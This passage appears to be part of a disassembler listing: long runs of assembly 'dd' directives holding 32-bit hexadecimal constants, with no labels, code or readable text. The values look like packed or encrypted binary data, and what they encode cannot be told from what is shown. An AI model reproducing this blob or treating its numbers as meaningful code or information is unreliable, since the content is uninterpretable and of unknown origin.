3838F9BBh dd 6F7A170Ch, 0F6D39749h, 4A93725Dh, 0E015006Fh, 0DF2929D6h dd 44292C58h, 3931D3ABh, 47233447h, 1B076837h, 123D486Eh dd 692B1B4Bh, 21545D1Eh, 2550766Fh, 4A28537Eh, 59422B5Eh dd 4565562Eh, 3540B732h, 0A33843B9h, 0A8993B4Eh, 6CAB3F4Ah dd 156B2F1Dh, 3D87C9E9h, 0C9897E11h, 0ECAE7C2Ah, 39275B7Ah dd 4B82AB5h, 0B32A56F5h, 0B9FB3E71h, 0F3294BF4h, 0BF367D96h dd 0E3F23306h, 4758CD12h, 0EB197629h, 672A6D29h, 710D6ED5h dd 3737353Bh, 0C1FBD0CFh, 0FEFCB62Eh, 1D02F49Bh, 9425ADCFh dd 1A837AA1h, 6252292Eh, 0F6B52C14h, 3239F4ACh, 0BFCACFB0h dd 4F2D1C6Bh, 70B0797Bh, 1C3BF345h, 21B1899Dh, 0A3AE73A1h dd 0B140A326h, 7F48A82Bh, 91B32B7Eh, 376E3107h, 806866B5h dd 3DDE91D1h, 8B1BBD2Dh, 35E01E4Eh, 51F3FEA9h, 9B574855h dd 4D8B5F6Ch, 57ADA53Dh, 46670771h, 585C615Eh, 596F0A3Ch dd 0B3B534Fh, 6F7F5E2Ch, 537148A4h, 53552021h, 2BBB2941h dd 7C7D2F2Ch, 61616174h, 6E2663AEh, 3B5B0948h, 0BF6D38B3h dd 56712C7Ah, 0AFE56448h, 6231006Fh, 54B3C4Fh, 0AFAD1CC3h dd 735238B1h, 0DE333431h, 0B679BBF9h, 52213DBBh, 0BCBCD4D7h dd 847009DCh, 0A279030Bh, 1220C767h, 52A824E9h, 3FBB2FCEh dd 1425312Fh, 0B011D53Ah, 9CA81FBEh, 98DC2CDEh, 54948E39h dd 73330621h, 293F58A6h, 732E0A5Dh, 0B071EE1Eh, 81652656h dd 0B82354B5h, 0BABA2E69h, 19878FBDh, 0F4125D7Ch, 0D2FCC907h dd 63222765h, 206CD1ABh, 6F3E0978h, 0B8723D3Ah, 375C3D7Ah dd 0D3647939h, 0BEAC0BB8h, 19789F47h, 4D911E7Ch, 632C1A49h dd 9C174B2Eh, 4D770945h, 72745811h, 13E40A50h, 45A7554h dd 5D361902h, 776C7401h, 0E47B7E20h, 761A4023h, 174B26E3h dd 952DEB6Fh, 503667CAh, 4AF1CE0Ch, 26382808h, 9CB9723Ah dd 1E1B52F6h, 0A41DD89Eh, 24C357E8h, 2DCCE616h, 0F4A8EA32h dd 30AAD129h, 343048ABh, 0B81B8837h, 3B7A3A56h, 293F2000h dd 1B468CFh, 22341E20h, 65277B1Bh, 0E16B21FBh, 1A6F27F0h dd 0BEB911B0h, 6635B4B0h, 6BBBBA79h, 0BFAFD56Dh, 0B4A44C02h dd 0A7C9095Eh, 0EE7626E3h, 9B7B6E74h, 278EACEAh, 27F621EDh dd 0F25897B2h, 2BFB5726h, 3F9FB934h, 0E76103Fh, 254A1174h dd 0E52CA148h, 25423227h, 0DEC2D40h, 615A7F6Eh, 5525DB62h dd 0FD28B423h, 9FD4B016h, 484A7E28h, 219F1639h, 42E0231h dd 26DAF2Dh, 0C4268A79h, 3CEF5F24h, 563FF06Fh, 3B3F3B05h dd 0BC1A6D2Ch, 0D8D73602h, 0D95F1DB5h, 2462A012h, 0E9AD7528h dd 22EB3AC0h, 64CE257Eh, 3092B83Ch, 0AC341566h, 3450890Eh dd 34541A56h, 475C203Bh, 0C4B105Fh, 24D6CC73h, 6C980C48h dd 3EC5013Ah, 4EE036AFh, 3D3BB409h, 305844E7h, 7E375A36h dd 914C0F55h, 2B42BFF6h, 0CD0A38E5h, 0B100279Bh, 6DE1C37Ah dd 0D718E344h, 1B1CFD83h, 9EE2963Ch, 9AF3913Ah, 1CBCFB3Eh dd 8E1FB9A4h, 87092286h, 8FBF2682h, 2C8BA729h, 22F27E95h dd 3D2D7738h, 3719363Ah, 0FD3F9B77h, 1B4B2B7Dh, 291E6922h dd 0CAFE2152h, 22D7400Ah, 0CD2FDBF0h, 0CF2BD09Dh, 0DB0E61BBh dd 253655DDh, 5B3B3958h, 5F6B3E3Ch, 1E7D0F1Bh, 2921400Fh dd 33162443h, 4A2C2847h, 2E4D182Bh, 0CFCD742Fh, 0A9187233h dd 0A5B0A7BEh, 0A1B4A3B2h, 0E29584B6h, 0A8BF9681h, 0ACBBAABDh dd 0A0B7AEB9h, 0A4B3A2B5h, 0AEB9B0D1h, 37B4ACBBh, 1D59346Ah dd 0F3D43B3Ah, 98E4C12Eh, 0A410C52Dh, 8402223Bh, 8CF0226h dd 0D3D53892h, 18096E7Bh, 0E4933B8Ah, 17760A5Dh, 18A7B369h dd 1D3F561Bh, 1F065CFCh, 0A33E86E1h, 0BFF1850Dh, 27206826h dd 7E222BACh, 16E75958h, 61636670h, 1F4E39B3h, 0C6B56A5Ch dd 609D4296h, 0CA256F92h, 17560A15h, 26C9614Dh, 73BCACAEh dd 24A1BD4Fh, 38459557h, 24D1682Fh, 2E254458h, 1D409B2Eh dd 28C84E1Ah, 0A8989109h, 0A932A8D7h, 56397A28h, 763E0A44h dd 503A51BBh, 29218412h, 3DA860D2h, 4DF37B76h, 60771E8Ch dd 7112D84h, 32782D35h, 4CA5C228h, 66EBAD2Fh, 66375311h dd 3F746A2Fh, 481B2A35h, 55D73D95h, 49221DCFh, 22221C31h dd 76377AF7h, 0B89A639h, 2F96E427h, 0C3129B31h, 6A067378h dd 33076939h, 0B28E3DFCh, 7E11389Fh, 2A3FA21Fh, 96366DC3h dd 0CE37A827h, 0A224ECF1h, 0E2A2240Bh, 7254F533h, 0D27E4813h dd 23AEC0Fh, 1F3EDFBEh, 212FEEE1h, 2424B4DEh, 0B129BEBCh dd 5D3F1BA0h, 0B2E03D52h, 65D6B225h, 1C3B37C9h, 6D6E3B0Ah dd 9D8F253Fh, 701F8EFCh, 753E2391h, 8A927E5h, 2DA82BEEh dd 587335DCh, 0A1602165h, 0F8641337h, 6EDA523Fh, 3A0EC702h dd 210E319Eh, 0BBCA7633h, 632F09B2h, 25C16D40h, 192FEA81h dd 30741280h, 233F562Fh, 8C383BB9h, 374A3E6Eh, 0E11C1C71h dd 0F8F135B7h, 0C4932B73h, 6F84053h, 288D8FA1h, 6214217Fh dd 3445E2DBh, 32FDBBB7h, 13B3B16Bh, 0DA1C0FCEh, 20E43B9Ah dd 4BCC2522h, 1128F68Eh, 0FA363FC2h, 0C2202BDCh, 3FDC0A32h dd 3638C53Fh, 73CC829h, 59CDC5D6h, 0D30A10EFh, 0CECB1921h dd 0AB826D7h, 102BD93Eh dd 30DFF4C5h, 10B37EBAh, 3831F13Dh, 35BDA38h, 1F79F83Dh dd 0D9951C1Ch, 6A10D07Eh, 532EE1A7h, 0CFA3A20Ah, 6F7E2934h dd 37544F58h, 285664B4h, 245AC828h, 5F6E28C3h, 5D171D05h dd 0D105A2BFh, 5842001h, 39692837h, 1DC7282Eh, 0B9352E30h dd 0BB93D4C2h, 2D13C79h, 0F96A3C7Ah, 5EFCDB39h, 27E6137Eh dd 5351747Ch, 1C295C2Bh, 6D080FA6h, 30052F2Ch, 3A013363h dd 1DAC6F88h, 3F313A06h, 5C1B0373h, 6C1ECF4Fh, 26AF9C2Eh dd 3524AB33h, 0EA23422Dh, 362F22A9h, 0CC7EB932h, 0B3676435h dd 70B63E68h, 0F3C73E17h, 0E0E3711Dh, 0E1D3E1A4h, 0A4535325h dd 0BB0D64DDh, 10E22D26h, 0C320E30h, 36360A34h, 0D7B9392Ch dd 0CEB56B2Ch, 2C5B1890h, 1026E8DFh, 26A67AE3h, 19EA38E3h dd 68A64AEBh, 4679362Fh, 1E417C3Ah, 7CFEB851h, 3F3D3D3Dh dd 1D6E5B87h, 1D519A7h, 5E462B20h, 0C9217753h, 8E44EB22h dd 0F33C174Ah, 3A230C2Eh, 51313836h, 3433105Ah, 1D27363Ah dd 0A3BF1F14h, 679282E7h, 94CF0E78h, 259B2AB8h, 0AA26AB05h dd 0F23AB617h, 38D73FB5h, 3CD9A0D9h, 114912E7h, 0E0E31DD3h dd 2B066DABh, 79E025AFh, 2B27A04Ch, 0EB0EAE28h, 0FFA2F220h dd 0BC603528h, 0FED2C838h, 0C9C1C091h, 16391C5Fh, 7428541Eh dd 0DB6599CBh, 0EEAA2A27h, 0ECA52C2Fh, 3331343Fh, 0DFB53AA3h dd 0C7219268h, 3E3AACC4h, 8BBC2532h, 24810C8Dh, 752733E1h dd 1C6965E4h, 965280Bh, 321F9F2Dh, 1177301Ah, 19BAC73Fh dd 0FB346B2Ah, 90C9BA31h, 761F1D1Dh, 4E3708F1h, 60277617h dd 0F8834235h, 60490A06h, 36712E33h, 0D01F3687h, 1CFFC16Ah dd 0FCF3A32h, 8E059D38h, 0D364932Eh, 0D7AD6911h, 3D682869h dd 2D7C76C9h, 0B032CA2Ch, 58122370h, 553A36A0h, 2E708D12h dd 0AF5B5E1Dh, 6EC9EE0Bh, 0D9353442h, 0F0F53D27h, 70F42D29h dd 0BAC0213Ah, 50DDCFDh, 38E23036h, 3A2D3E3Ah, 991C9BB5h dd 0F626BDEh, 741822E2h, 7D39FB4Eh, 44624BA7h, 0E8C9CC6h dd 3A0502B6h, 83D4789h, 5930ABBEh, 0B4250E0Eh, 29BF1F14h dd 0A22C1798h, 5828159Ch, 2E2C6B20h, 0B07A9C67h, 2B13503Eh dd 0EF855565h, 3EE334C0h, 0F3353F0Bh, 1E2D9196h, 28205600h dd 26155DCCh, 295DD98Ah, 1C4AC520h, 3B44F931h, 67DE387Ch dd 3A3A381Bh, 2B303F4Bh, 1F5E20F3h, 2D201757h, 15600CCBh dd 275EF826h, 1D39C43Bh, 4550282Eh, 36DD2531h, 0B91F7836h dd 3F1DF86Fh, 8219DC7Ch, 91741F8Ch, 27CF2222h, 65A3E714h dd 72702B0Eh, 556B7270h, 35343EBBh, 61FCB432h, 353C3FF8h dd 0A0D7AF3Fh, 45B951Dh, 0AF752225h, 29274CD4h, 2C2A22A3h dd 0BB21A62Fh, 5176DAFFh, 0A038C935h, 1F57213Dh, 1C7933BFh dd 5F6BF507h, 0E7AF7127h, 4CA2306Ah, 6B5EC134h, 4D3FAD50h dd 28B67658h, 0EB6FDDCh, 98D23DF8h, 3BFA2BBCh, 0DDA9F401h dd 2BE1B81Bh, 874A212Eh, 306D2CA7h, 2F2908AFh, 235CB70Ah dd 23E514B2h, 2948A5D0h, 0E375CB6h, 85785B27h, 0A3490F1Dh dd 74479226h, 990CA3E0h, 2C342D3Ah, 3A100FC6h, 0F5B015F2h dd 0FCBCBF39h, 0A94E1B35h, 1E4BAB1Ah, 101BBEBCh, 54C6CA73h dd 0A9054E29h, 0C5A8BA2h, 330F8A2Eh, 0BA6DA33h, 7DF099Bh dd 3D3B05CAh, 1A3F3CADh, 1D1D68h, 81121410h, 6A16D614h dd 0A11B7519h, 0F11F8B1Dh, 1003DC01h, 0ED048A06h, 46095B0Ah dd 8A0D940Fh, 102EFE28h, 14153A2Bh, 0C5119E17h, 3E132B1Eh dd 0B917A711h, 3D64F315h, 7429F408h, 24486B63h, 31C93F4Bh dd 1F3AF329h, 0C502B1Ch, 13E78F4Ah, 0FFA19D1Dh, 0ECCAC325h dd 3525D007h, 0D5B5BE51h, 4C51793Eh, 9C83D321h, 9E641E19h dd 84F700F6h, 0CC3B2525h, 2A15BC13h, 0FCED09F6h, 0B16FC628h dd 30711DF5h, 112AB2D0h, 5D5118D8h, 974D543Ah, 6BCE2E3h dd 3EA9476Eh, 0A72BA5C4h, 95257E7Eh, 2F3E0950h, 29B200A7h dd 17E5CA64h, 3D13D91Eh, 947E3863h, 500B1C13h, 0DD707716h dd 58AEF72Bh, 90214E67h, 8E072C2Ah, 0CC1B8935h, 0D93236B7h dd 0FE13D71Dh, 0FE17D308h, 7436F408h, 8FE735FCh, 239309CEh dd 8E02C427h, 0CE2CDDF1h, 31C5B804h, 0DA2C19D0h, 0D312D51Ch dd 2916D82Eh, 0F90B15D1h, 0C29ACF37h, 0AF4A0Bh, 0BC3CD715h dd 0FC0B31DBh, 603768A6h, 246B3091h, 0AF5F785h, 291B7A29h dd 2B214E19h, 1F950E9Eh, 0A8300574h, 0A6370160h, 2BD5C808h dd 2E3E7C2Fh, 0D118B024h, 71335A4h, 3A086B38h, 3E376C6Ch dd 0FFC97455h, 37DE7239h, 24FE28D3h, 0B8E9E8F7h, 2E6F9427h dd 56A7302Fh, 0BEC63C59h, 0E7D509Ch, 0A5D51038h, 7D4F180Fh dd 722ABE72h, 0AC253173h, 0B9742637h, 2496030Eh, 0E21B244Eh dd 51164012h, 0D1141234h, 1939C855h, 0EC132DD6h, 0B4C77618h dd 0ECCB7A38h, 28E716F6h, 2D982E5Dh, 0EB1D2CC6h, 0C38133Ah dd 3207373Fh, 0B834E1BDh, 947F9F73h, 55DF0DC9h, 33E27121h dd 1DC6D44Ah, 6A45A940h, 4F298C34h, 215E403Fh, 0B23515A3h dd 343E42F8h, 0D776FEA8h, 1ABFD5ADh, 2689529Ah, 2E759F6Fh dd 872B68ADh, 0DEAB246Bh, 66257426h, 74671EC2h, 0EBCFB623h dd 6635FA7Bh, 0C6F40A13h, 84511EBEh, 27CC3108h, 38734A6h dd 993D2AE8h, 385B09C6h, 9E34D324h, 3828FA1Fh, 0D5159403h dd 0BB1A5888h, 0C8512E34h, 627503B3h, 672C0Dh, 68872B83h dd 452EF9D2h, 744F16BDh, 0C0BDBD3Fh, 3CF61D30h, 5F679F7Bh dd 971E0F1Ch, 0A631057Ch, 253F51E4h, 12296B90h, 2A5C2554h dd 177631F6h, 7FBD3427h, 0FB3ABA04h, 4AF7B800h, 0B83097F7h dd 6662E0EFh, 4B255530h, 5B087927h, 1691C2Bh, 7601305Eh dd 3644EF0Eh, 4B724D67h, 67719C3Bh, 684C1B4Eh, 215178A8h dd 5451A4D2h, 0AA569726h, 3F3C2B5Bh, 40A12C2Eh, 36342032h dd 3949A82Ch, 4CBA4B2Eh, 1F1B2A3Eh, 0C8D1A55Fh, 2549C2EDh dd 0C1372735h, 0D3282A8Fh, 0F08B2C38h, 8CFBB957h, 38557BE6h dd 0B7DACD29h, 5E3886F7h, 0DEDC331Ch, 0CAD527C9h, 0E6F72527h dd 0E9A139D2h, 302EC5EDh, 0C9B9E133h, 374ACB0Fh, 82FBB25Dh dd 3F3F6CBCh, 29C51D1Bh, 0DE16D497h, 1E29B883h, 22B54833h dd 4E15140Fh, 56096CB3h, 0E59B40Bh, 2450043h, 34A05CBFh dd 0D9807B8Bh, 19F4581Eh, 0C1841BFEh, 0DD10CB1Eh, 2D289AAAh dd 8242FB3h, 0C100A2Eh, 0D380E1Ah, 51056B03h, 62964B07h dd 6001F663h, 2CA87206h, 0F807CEEAh, 2866A73Ah, 0C421B4C5h dd 34C32231h, 5EB25415h, 54233849h, 717E3F3Dh, 752A3E4Ch dd 99632821h, 216A6A91h, 0E3A1782Eh, 7F5FC568h, 11DA6131h dd 35F22F05h, 0B337930h, 3FB3FDB8h, 1A1DA137h, 730A2C92h dd 0A6767407h, 5956C022h, 6E09782Dh, 60F9BB33h, 38B5FF18h dd 0B1C0381Ch, 0D66D6BF5h, 8F196150h, 20F00317h, 0CD777370h dd 0ABA02559h, 21E8A828h, 39B9EA2Dh, 0F16B3B74h, 4FC7B233h dd 853F3B0Ch, 3CCBD73Fh, 0D048FF4Ah, 5423B621h, 0CC70123h dd 0A7070DF9h, 8AC77EE2h, 18329182h, 3FA73295h, 0DC3C402Bh dd 1B57863Ch, 5E183C1Dh, 7229A124h, 5B302064h, 2D3B69B8h dd 45442D97h, 0B8726331h, 13AABCFCh, 0C3B999A4h, 0FEA33243h dd 0FF9E1C52h, 21E0A3E1h, 25E5D5A8h, 0E5DA1E1h, 0EC2B2C27h dd 0F3D92220h, 0E340D93Ch, 41B26F35h, 0F0B6383Bh, 0D21FDB0Ch dd 0AADD3795h, 0EF3450F3h, 0D7AB2A66h, 87DF2A2Ah, 72BA3F5Bh dd 48B91336h, 0FE8BF37h dd 0FD27FA01h, 7C19DFBDh, 230ADE9Eh, 0C1737DE0h, 0A8273229h dd 225F20D2h, 3022D5ADh, 0CFB33B45h, 0BC334269h, 3D4EE179h dd 0EBC4BF7Eh, 41E6B1Fh, 0CBE3E2ABh, 0A72C192Ch, 2616255Ch dd 0EE122558h, 46F21131h, 0BC36B432h, 0B8823D6Fh, 3F7D26E2h dd 0BF3DDE9Ah, 0D5202018h, 22A8C623h, 9C25A5AEh, 3CC72CEAh dd 0BFB134A2h, 9534BD3Fh, 39D8F937h, 15FF38B6h, 5F5CDA3Dh dd 0DEC19E0Ah, 270423DDh, 235EE61Dh, 0AEF42ACAh, 44CFD42Eh dd 0C8207833h, 8238C6DEh, 0D51D3BCEh, 1CE9B6D3h, 20EC1419h dd 0D6FECA03h, 0DC6A8425h, 0E1C30929h, 0C4B92EDFh, 0DC171A31h dd 0E737C488h, 0D41E3ACDh, 1BCD932Fh, 1FED1634h, 0A6BFC906h dd 0D35725D6h, 0E4C20E28h, 8D2EDCF1h, 8FBCC5AFh, 66663634h dd 4A527D81h, 0A7D629ECh, 0D11F3C4Ah, 2AABF11Eh, 660158AAh dd 64A135CFh, 2AFCD3D5h, 2295A2Ah, 32C63533h, 501D1C63h dd 0A4D56E3Dh, 3918C9ADh, 53F01BCAh, 21C48DCAh, 0AFA57776h dd 7D23CB32h, 713E2BDAh, 5F189BA5h, 30AD1566h, 5D2EA31Ah dd 762B97A8h, 251FEE09h, 0F4312291h, 0F83A8424h, 3B413928h dd 602B2FDDh, 5E3A9A30h, 2C37C604h, 6C34A279h, 0B30543Ch dd 1E2E1E1Eh, 0D2231107h, 57B52426h, 0A62B9B2Ah, 6A3A5CA0h dd 8B92CAE8h, 8FF53474h, 0AD18B90h, 0DC5237h, 6A323A10h dd 0A9932EAEh, 4EA02002h, 2E722887h, 74297E59h, 1B3562CFh dd 35C4306Ch, 7190699Bh, 0B33F4C6Ah, 1DBDDFB2h, 0FD20BD5Eh dd 10248267h, 31902786h, 1E20EAC6h, 323370EEh, 712B31B4h dd 2E383721h, 6C2B3041h, 760DFF7Fh, 0F665F609h, 20273127h dd 3EA7E6A0h, 582F2A39h, 230F8B36h, 0BD0412CEh, 3C243533h dd 2CC12A5Dh, 1B372D3Ch, 791CFC0Fh, 5C30DE22h, 33CE0084h dd 2FC224B0h, 62E68EDh, 17B6F7F8h, 2336B4A4h, 7096D139h dd 223FC2C3h, 5BF55D03h, 26215F9Fh, 7FB9AC2Fh, 0FEC12525h dd 31AA382Bh, 312EB07Bh, 29B566B9h, 3826B1B4h, 21B952D3h dd 1AF44D17h, 20B60092h, 25007736h, 6C5F1445h, 2F2C291Fh dd 6E302ECFh, 455A4044h, 19565E44h, 3F3C5D4Eh, 7F1EEE89h dd 266F9375h, 342AD31Dh, 77268824h, 2D2F2BCFh, 5D263DEDh dd 7D323241h, 40523465h, 832EFA50h, 5B5E3F1Eh, 8E1F1D68h dd 2E824C22h, 67E1254Bh, 846D2E2Ah, 2D19AB6Bh, 9B3A06A7h dd 773634h, 0CBC4D125h, 3FC1C2D0h, 0E1BDD2Fh, 1821141Fh dd 402110E7h, 7C1DE4B6h, 1E6BA713h, 0B7E6332Fh, 0E63BDF3h dd 0B11E6843h, 83D0075h, 0C4285C1Fh, 335E449Eh, 2E246DA9h dd 0A12D78AEh, 2DA72F75h, 0CE612861h, 37E8BB27h, 97813626h dd 0FA398BB6h, 0AE1E3879h, 391FEB1Fh, 0AC07AEAAh, 77246625h dd 0EC197777h, 0C0AE4B0Eh, 3733B6F5h, 6EE896C7h, 3C343A36h dd 143F31C2h, 101E121Ch, 94F2E20h, 2B04A760h, 0AB798228h dd 7D46517Fh, 2607B264h, 3F3DB7CCh, 0BAAE99BAh, 1B72A23Fh dd 26754D67h, 0AF212F9Eh, 98CD4D69h, 2AD6D4E0h, 0AA9A77Bh dd 3226312Fh, 0BEBF36FBh, 0AAB3A6B7h, 90BD983Bh, 0EBD1836h dd 80D01ED5h, 3D4E2619h, 67284727h, 24462C40h, 0D1712944h dd 365E3C37h, 2D98275Ch, 3456937Eh, 0B00DDF6Fh, 401B08FDh dd 44FE2005h, 10E3A501h, 6EA0D2A2h, 35792AE3h, 55F4CAD9h dd 0D013F93Bh, 0D43BDBC9h, 98045EA2h, 1F05DFD8h, 5006021h dd 56624E5h, 2AEA8219h, 6AAE2769h, 3973513Ah, 6D3C715Fh dd 0BA307D4Eh, 63FE3779h, 0AE1759D3h, 992B61CAh, 62E32E67h dd 2BE8F92Dh, 0F1BB1B6Bh, 27F131EEh, 162DFCDEh, 0E07CFD3Ah dd 10337C91h, 69EA1A3Fh, 35377F58h, 550DCA7h, 1A2EAC18h dd 3B52ABF1h, 35763BA3h, 34183EF2h, 374DF73Dh, 0FAEBC40Ah dd 1F30DF38h, 0A0219D76h, 0D1562321h, 0A8F71BAEh, 6A4B632Ah dd 322EF9D2h, 37B0C545h, 0F969A86Ah, 0E3559836h, 533CF91Ah dd 6F777E1Ch, 50070900h, 2126250Dh, 4049467Bh, 0F2E5949h dd 405D5D53h, 37185151h, 5E483F38h, 4D584B5Fh, 3670735Bh dd 21520036h, 470D4217h, 5829444Eh, 417F2823h, 5C54105Fh dd 3731341Dh, 7F564CFDh, 0B5E87636h, 0DD898CFh, 29AE7C9Eh dd 952723BBh, 7F780329h, 0E0C4237Dh, 3D34EE12h, 0B748F509h dd 0CF3A9820h, 4DD7E245h, 0F89D5D7Eh, 327E40E7h, 72C82621h dd 0C632FB5h, 7B281978h, 345BF5C5h, 0B4D92F4h, 0B9A303BEh dd 0CC046A3Eh, 0E53C0434h, 0E01C0C0Fh, 0CB06C621h, 84292735h dd 433C5C3Ch, 752D2DA8h, 4F10F15Ah, 21960E75h, 7C2FC930h dd 0BC2DDE1Dh, 6F77E3D3h, 0E267E71Fh, 0E121240Bh, 2A680861h dd 0E925A79Bh, 65800469h, 70BC1875h, 33B91C27h, 0FD646733h dd 0F54C459Eh, 2131F510h, 5007F53h, 5DE85667h, 0ADEB8D0Ch dd 5B980F2Ch, 17925E3Ah, 0F9333037h, 0BE3B3B9Ch, 621A363Eh dd 0DBEF9DC6h, 85F55720h, 883A4627h, 2C040A2Bh, 31D7AD3Dh dd 72BA264Fh, 38D4323Dh, 0EBC40B3Bh, 0BA172C9Eh, 9F1CAFCFh dd 0C271240Ch, 5556F522h, 9BB12129h, 7C8D1D2Ch, 3A523A62h dd 830649DCh, 2210F989h, 7BDF929Ch, 0FE0D733Bh, 0C314521Eh dd 3660CC22h, 0B9B8582Ah, 1E2C3492h, 745B7E2Fh, 0D7357359h dd 0A39338E2h, 0EBEE3CEAh, 1DCDDC3Fh, 6B20CADBh, 9224F2D7h dd 270B27F3h, 78852BFAh, 0E0612FFBh, 35E1A832h, 0EE38E649h dd 0FA738E13h, 0D51BEF2Eh, 33101EC8h, 9F23F284h, 3D7026F0h dd 2D862AF9h, 2A7DC82h, 0E26A2C07h, 0AC377650h, 71B43ECBh dd 295D296Ch, 0CDFFB7F9h, 0ACF0A819h, 0E12674ABh, 0DA0233BAh dd 2F4F2C2Ch, 0B42B720Ch, 3436604Fh, 0E617188Ah, 8D962F9Eh dd 0FF44DF95h, 0A395EE77h, 421D560Dh, 7C462305h, 7C522EF8h dd 0B209552Fh, 0E620CB1Dh, 0FA0A1EB7h, 2E243FB8h, 4A4A138Dh dd 51A0E02Dh, 249B3002h, 1D2C2426h, 0AFFD7412h, 5B34451Ah dd 0B5482CB2h, 3B7EB73Eh, 48613BFEh, 1C17803Bh, 3A1F531Eh dd 2478A335h, 2A7719ECh, 2EAA2E18h, 3018A770h, 0E2205A2h dd 20D0C1Ch, 60017139h, 65055307h, 25911D26h, 19931B80h dd 0F4261FE6h, 0D910C812h, 2F152E16h, 8170A24h, 34360E02h dd 1B3AB93Ah, 0EF33E3Ch, 731D2A45h, 0E3175229h, 2613C215h dd 100611A2h, 12EA166Ch, 0F2BBF07Ch, 3666F4B0h, 3038A039h dd 303A298Bh, 0A912139Fh, 65AA1116h, 0E50F2106h, 5DE8A36Ch dd 0BAEC180Eh, 61B4082Ah, 35AB1FF3h, 0B952670Ah, 3DDB5912h dd 0CDFBC3Fh, 243E19BDh, 0A2CB2A73h, 1A1B84C7h, 0C43FA1E9h dd 0FD2ECC8Eh, 0DC1A33D5h, 39D573A6h, 143ADEA6h, 1ADDBDD5h dd 1EFA4C6Dh, 0C151C907h, 26C20D25h, 39C20D0Eh, 25F1534Eh dd 0DB1730D3h, 36D437BEh, 1F3BDDAEh, 5A7CCFD4h, 1FF951B9h dd 0C0C3C83Ch, 27C12022h, 0D57B0A6Fh, 0AD652E3Eh, 74BA186Ch dd 3673F30Bh, 39393B3Bh, 0E7BFB6Bh, 0E22BDB2Eh, 2200530Bh dd 25A0CB71h, 43D7DA39h, 1A2C328h, 620BAD9Fh, 34D447DAh dd 0B9636E94h, 1E6335E8h, 102DE01Ah, 6DF74877h, 33A52300h dd 76780279h, 777629A0h, 0BBEC77ADh, 0EFB63A6Fh, 28372635h dd 7FB6324Dh, 1B79B7C2h, 9477F614h, 0A863256Eh, 69AFE424h dd 0D4D5142Ch, 5A112DD3h, 236CBC69h, 8D22DD67h, 2F273C2Bh dd 1B6A47B8h, 1E963E03h, 28A87D3Ch, 7E30722h, 0A96DC021h dd 1BEA042Fh, 2D9242Ah, 0B0AD30F0h, 26D13C3Eh, 0BE39BF7Eh dd 0F51F1FB9h, 79249C16h dd 272A6483h, 0EBABD3CEh, 29EBA32Eh, 0D1D82E06h, 0F38C37F1h dd 93D03432h, 0D538B8F6h, 9FDC3BBEh, 201FE114h, 2523CAA5h dd 34242659h, 0B1B0819h, 711F031Dh, 66037801h, 0B8076805h dd 0EC0BFC09h, 0B0FCD0Dh, 5C2F2B2Dh, 0E3138811h, 0C017C515h dd 661BDD19h, 431C4B1Eh, 0F800B502h, 0DB026707h, 0F90F680Ch dd 7F081F09h, 0C22AD22Dh, 526DCC27h, 48388427h, 7527DA54h dd 6A290C32h, 20309261h, 6934F539h, 0BD894B35h, 3E4D5158h dd 0AF15A43Dh, 21557B1Eh, 7A25A3A3h, 444DE74Bh, 545C4849h dd 305210DEh, 47435F12h, 392CC836h, 3D3C0B70h, 1F1B1B3Ch dd 8C7D2AFEh, 0A4A70F42h, 4A04602Fh, 70861CDh, 3E6E49C5h dd 0B81F1174h, 60D6B8DDh, 0D4673CF9h, 5983FD3Ch, 303E7AFCh dd 412393C8h, 0C0973526h, 0B5C207AEh, 4E262F4Ch, 7760B10Dh dd 57D700BFh, 7BECC668h, 0FF8EB85Dh, 151D9814h, 0A9E923D5h dd 26CCAFF2h, 0FD0AFAD0h, 0FB26C408h, 16A5202Eh, 0DFBEE130h dd 2939A4BAh, 1A1D4CE0h, 1DDDC8B4h, 0C2E110F4h, 26F72833h dd 93C8F626h, 0EF6A02Ah, 12E3D8C4h, 0E83F33EAh, 111C5BBDh dd 0B03CE639h, 3E8F20A2h, 83457F0Eh, 20834E2Ah, 0E934C7A6h dd 7E7A7A28h, 5EEF59C5h, 54963262h, 9F67263Dh, 2E9F972Bh dd 0DEB4BE62h, 9E454042h, 0C0C00E4h, 74798C4Fh, 60D62937h dd 0AC65C6CCh, 650219DCh, 33F2F463h, 513B3918h, 3C3E2E9Eh dd 1D9C5A59h, 7622203Dh, 2E0627A2h, 0AB4B2B27h, 2D2D0828h dd 31B0115Fh, 48363416h, 3A1F3BB6h, 0BFB13FBFh, 1E1C3C3Ch dd 0A7239E84h, 0A482230Ah, 2A280E25h, 3D2FAA9Ch, 0F5332F04h dd 351F30B3h, 0B8EA7535h, 0B66C1739h, 707AEE78h, 464F4C4Ch dd 7B73144Dh, 69542C4h, 1C432A58h, 535F202Ch, 25358221h dd 0D036554Ah, 0BF396A55h, 0E93612F9h, 7F83217Eh, 0A87A672Fh dd 0AC72F56Ah, 2EBA497Eh, 8F2B4F70h, 93723B21h, 36F6F958h dd 1FCED168h, 0E32FAD70h, 113C0C7Bh, 3251337Eh, 0A6B5CC3Fh dd 0B2D3924h, 0C62C2C3Bh, 405ED82Bh, 0F0BE0C37h, 0EEC86668h dd 2EFF0018h, 1D136270h, 212F1F11h, 2A242C8Dh, 290A8C26h dd 1F2C3B25h, 18130C22h, 63663F52h, 20013CA6h, 7DB4324Eh dd 8A2BFEBDh, 60EC6C1Ch, 28566221h, 8037AACh, 0B292848h dd 342F0FCDh, 642B3071h, 39375C04h, 122A6B73h, 6D353CBDh dd 7381EC6Dh, 3B0191E1h, 0B9CE7076h, 206A58A8h, 0EAA52B2Ch dd 31D9DABBh, 0C87B3FBFh, 589AA2D0h, 18267425h, 1E0E57C4h dd 94C936FFh, 62D313A3h, 2B210C27h, 0C67B255Fh, 32D93822h dd 0F0B4F531h, 563DFA69h, 34323D3Bh, 9DC11D3Eh, 0FC261937h dd 233FC450h, 22E87ECFh, 86CC9A72h, 66C13FA5h, 8AB38DBFh dd 0DBB9C8CBh, 623F7BFEh, 9A9B8760h, 1DA003D8h, 2B232D7Eh dd 27272925h, 7B2B2C29h, 0B0236EADh, 7CCFBB2h, 9899C4F5h dd 0CB337A39h, 0CAB477ECh, 1DEC1DECh, 7C22B18Eh, 0E677A1A9h dd 7329AF28h, 0A46B634Eh, 720E156Ch, 443F053Ah, 12311144h dd 12B575FDh, 0DE4C1DCAh, 80493411h, 74260537h, 3299FDD8h dd 4BAC5D07h, 0C3622ECFh, 7CB522Dh, 0B3723A3Ah, 793C4D3Ah dd 1EE498C0h, 4F069811h, 1DC42392h, 11C9F3DAh, 0EC9D2727h dd 6A6DA52Dh, 15F033B1h, 383827F4h, 3ABE826Dh, 38670D7Ch dd 0B0B4ED0Dh, 4E33223Ch, 83417738h, 